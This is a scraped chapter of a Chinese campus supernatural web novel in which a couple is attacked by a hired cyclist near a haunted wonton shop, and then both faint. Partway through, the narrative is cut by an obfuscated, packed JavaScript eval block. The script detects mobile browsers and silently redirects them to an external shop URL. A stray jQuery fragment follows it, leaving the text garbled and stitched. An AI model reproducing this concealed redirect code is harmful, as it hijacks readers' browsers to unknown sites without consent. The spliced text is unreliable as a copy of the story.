文趣网 > 其他小说 > 二中校园诡异记事 > 48. 宋云络单挑自行车
    “都快四点了,”程棂让掀开被子,从床上下来,伸了个懒腰,“宋云络,我们今天晚上出去吃饭吧。”

    宋云络刚回到自己那张床上,去摸床头柜的手机:“你想吃什么。”

    “火锅吧。”

    “好。”

    火锅的确很好吃,就是重油重盐。连续吃几次,程棂让就受不了了。记得有一次,她隔壁的室友连续请客,她吃了两天火锅烧烤,感觉身体特别不适。

    宋云络招呼程棂让把衣服换了。

    自己也从行李箱里找衣服。

    他们俩穿的都是睡衣。程棂让的棕色小熊还很可爱,手上拿枝小红花。

    程棂让打发宋云络去浴室换衣服。

    不该看的,彼此都不准看。

    宋云络应了:“那你换好了叫我。”他把手机拿进去,以防程棂让在外面磨蹭太久,他在浴室百无聊赖。

    程棂让换了一件碧绿色连衣裙。她皮肤白,穿绿色衬得她面庞清雅。

    她让宋云络出来,转身去拿手机:“我们就不打车了,散散步吧。”

    那也就不能去很远的地方,就近商场里有什么火锅,吃什么火锅。

    宋云络带程棂让出门。

    现下黄昏时分,太阳光柔和,亮色里透着一抹已现颓势的凄迷。

    程棂让抬头看着霞光。

    消失已久的瘾头,仿佛被霞光唤醒。她又想吃馄饨了。

    程棂让手指够宋云络的手指,宛若浑身无力,就势往宋云络身上一倒:“宋云络,我又想吃馄饨了。”

    “昨天那家馄饨?”宋云络眉头深锁。

    “对,我要吃昨天的馄饨。”程棂让似乎被夺舍了一般,双眼无神地点头。

    “不吃行吗?刚刚不是还说要吃火锅。火锅比馄饨好吃的。”宋云络随口找一个借口,想把程棂让的注意力转移。

    可程棂让此刻像稚儿般嚎叫起来:“不嘛,不嘛,我就要吃馄饨。”

    宋云络连声道:“好好好,你别吵。我带你去吃馄饨。我看看昨天那家店还能不能找到。”

    手机上却似死而复生般出现了昨天的地址。

    宋云络瞳孔猛缩。

    居然又出现了?

    程棂让抓住宋云络的手腕,摇啊摇:“宋云络,当你老婆,不会连碗馄饨都没得吃吧。”

    “有的,”宋云络注意力一分为二,一半在手机上,一半用来应付程棂让,“我现在打车,等下就带你去。”

    馄饨店里蹊跷丛生。

    程棂让这会儿跟被夺舍了似的心心念念,宋云络顺水推舟,打算去看看里头到底有什么古怪。

    网约车如约而至。

    宋云络跟程棂让上车。一路上程棂让脸上的满足和期待神情从来没有消失过。

    她还快意地哼了哼小曲。

    “到了。”司机叔叔把车停在了一片废墟前。

    他的目光里存着一丝疑惑,奇怪这俩人到废墟前面做什么。但他本不多话,便也没问。

    宋云络谢过司机,跟程棂让一起下车,把车门关好。

    程棂让开心得简直要飞起来。

    她轻轻点着脚步,很像一只水面上扬翅欲飞的白天鹅。

    “让让,好好走路。”宋云络不轻不重地提醒。

    程棂让才仿佛如梦初醒:“噢噢,我是昏头了。”

    这种一如小孩儿的行为动作,不管在谁面前表现,都让她感到羞涩。

    “昨天那碗很好吃,就是量太少了。所以我今天要吃大碗的,还得吃两碗。”

    两大碗馄饨。直夸她胃口好,如果宋云络听见的话。

    ……不对,宋云络怎么不夸她。

    “宋云络,你怎么不夸夸我呀?”程棂让声如银铃,往常宋云络最爱捧她的呀。

    她侧过身去,猛地看见一辆山地自行车疾驰而来。

    自行车上的人分明就看见了程棂让和宋云络二人。

    但他的确就是故意的,往两人猛撞过来。

    宋云络满面凝重,仓皇之间,暴喝一声:“快躲开。”

    电光火石之间,程棂让哪里躲闪得及。宋云络上一秒喊躲开,她下一秒僵硬地往外躲,下意识一般,动作幅度下得可怜。

    宋云络飞身扑向程棂让,将人斜着撞开,带倒在地。

    程棂让重重摔倒在地,她听见身体撞击地面的厚重响声,倒是不疼,不过一切来的太突然,她脑袋空空如也。

    好半晌都没回过神来。

    自行车上的人看他们都倒在地上了,却没有停止的意思。

    旋转方向,又冲他们猛骑过来。假设他驾驶的是机动车,完全就是要把程棂让和宋云络碾死的架势。

    宋云络腾地站起身来。

    他目光中露出一点怨愤般的阴冷,下颌绷成一道线,唇瓣更紧咬得宛若一柄刀。

    下一秒,在程棂让的目瞪口呆中,宋云络竟然朝着自行车的来向加速奔跑。

    他想跟人家来个对冲?!

    可这怎么行呢。

    自行车就算不如机动车,但好歹也是钢和铁制造出来的交通工具,本身坚硬强度就高于人体。

    何况,自行车还是在高速行驶的运动之中,它至少有段把人撞飞的强横冲击力。

    “宋云络,你快回来。宋云络,危险。”程棂让噌地一下从地上站起来了。

    她急得嗓子都劈了音,但一颗心全为宋云络的安危担忧。

    她快哭出眼泪。

    眼睁睁看着爱人去做危险至极的事情,怎么不会让人肝肠寸断。

    宋云络却仿若未闻,满面杀意,冲向自行车。

    自行车上的人似乎也没料到宋云络会朝着他对冲,他愣了一下,出于本能想拧刹车。但想到自己是坏人,就松开了刹车,反而踩重了踏板,朝宋云络撞去。

    但他没有想到,就在他快撞到宋云络的半秒之前,宋云络将身一闪,侧过身子,躲过他的暴行。

    一瞬之间,他竟然感觉到身子被一股巨力扯住,猛地天旋地转,整个人跟麻袋似的被摔在了地上。

    宋云络骑在人身上,挥起拳头,往人面门上就是一拳。

    打得他的脸跟抹了腮红高光似的,红彤彤一片。

    “你脑子有问题是不是,敢撞老子。”宋云络怒容蓬然,连脏话也脱口而出。他纯粹为了泄愤,朝人脸上连续狠狠挥拳。

    程棂让震惊了,被宋云络的凶狠一面震惊的。

    她之前从来没有见过宋云络大发火的样子。不怪宋云络冒火,这鸟人骑自行车撞他们,万一撞出个好歹来呢。

    因此,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753144|207601||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    程棂让觉得宋云络不把人打死,就是应该好好教训他一顿。

    “宋云络,你收着点劲儿,注意一点,别把人弄死了。”

    宋云络这才露出点笑意,看向程棂让,大声说:“你放心,我不会把人弄死的。而且这附近都是监控,是他要伤害我们在先。”

    “我这是正当防卫。”

    感谢天网工程。

    以免这鸟人到时候还得倒打一耙,告宋云络故意伤害。

    “说,你为什么要撞我们。”宋云络看向这个人时,却立刻是一副凶神恶煞的狠样。

    被宋云络制服的人,岁数看上去很轻,二十岁上下。

    但他很瘦,几乎是皮包骨,没什么肉。那种精神小伙的常见身材。

    他也的确是精神小伙。

    打架斗殴什么的,最近几个月是不常干了,可也不学好。

    此时他被宋云络打得鼻青脸肿,深知宋云络的厉害,不敢不回答:“是有人让我撞你们的。他给了我好几万,说是要教训一下你们。”

    宋云络眸色深暗:“是谁?”

    “不知道。”精神小伙却答得飞快。他怕宋云络打他,更不敢支支吾吾。

    宋云络扬手做扇耳光状:“你不知道?”

    精神小伙用手挡脸:“别打,别打,我是真不知道。”

    “我一朋友跟我说有人最近不爽你们俩个,想给你们一点教训。问我认不认识人,来替大哥出口气。我一听有三万,就马上跟他说我可以。”

    宋云络冷漠地命令:“你现在就打电话给你朋友,问清楚到底是谁。”

    “别别别,大哥,我朋友肯定也不知道是谁。要知道他早跟我说了。”

    “大哥,我不过就是个臭混社会的。但凡有个一技之长,怎么会这么不三不四地做人。我是真正社会底层,哪能知道背后大佛的真身。”

    精神小伙疑似有卖惨嫌疑。

    不过说的也对。

    宋云络眯了眯眼,上下打量着他。

    他一看宋云络没有再他的趋势,连忙再求饶:“大哥,看在我有什么说什么的份上。你饶了我吧。你现在放我走。我保证,绝对不会再来招惹你们。”

    宋云络沉声道:“凭什么,你说什么,我就信什么?”

    精神小伙又示弱:“大哥,我只是个混的人。只会欺软怕硬。你那么厉害,我还来找你,我这不是给自己找难受吗。”

    宋云络懒得再跟人纠缠。

    干脆放他走了。

    打都被他打成这个样子,也怪可怜的。

    程棂让目视人家一瘸一拐的背影,居然生出一丝恻隐之心。但转念一想,没必要。

    她爱共情,可不能对什么人都共情,更不能说出来。

    宋云络问程棂让有没有伤到哪里。

    刚刚局势过于混乱,还没来得及关心程棂让。

    程棂让本来想摇头说没有,但是开口前,脑袋突然萌生莫名其妙的沉重和头痛感觉。

    她视线都似乎模糊:“宋云络,为什么我突然脑袋晕晕的。”

    宋云络要说什么,同样也欲言又止,过了似乎半晌那么久,他才开口:“不对劲,我也觉得头很晕。”

    下一秒,两人一齐昏了过去。

    倒在地上的姿势,近乎相拥。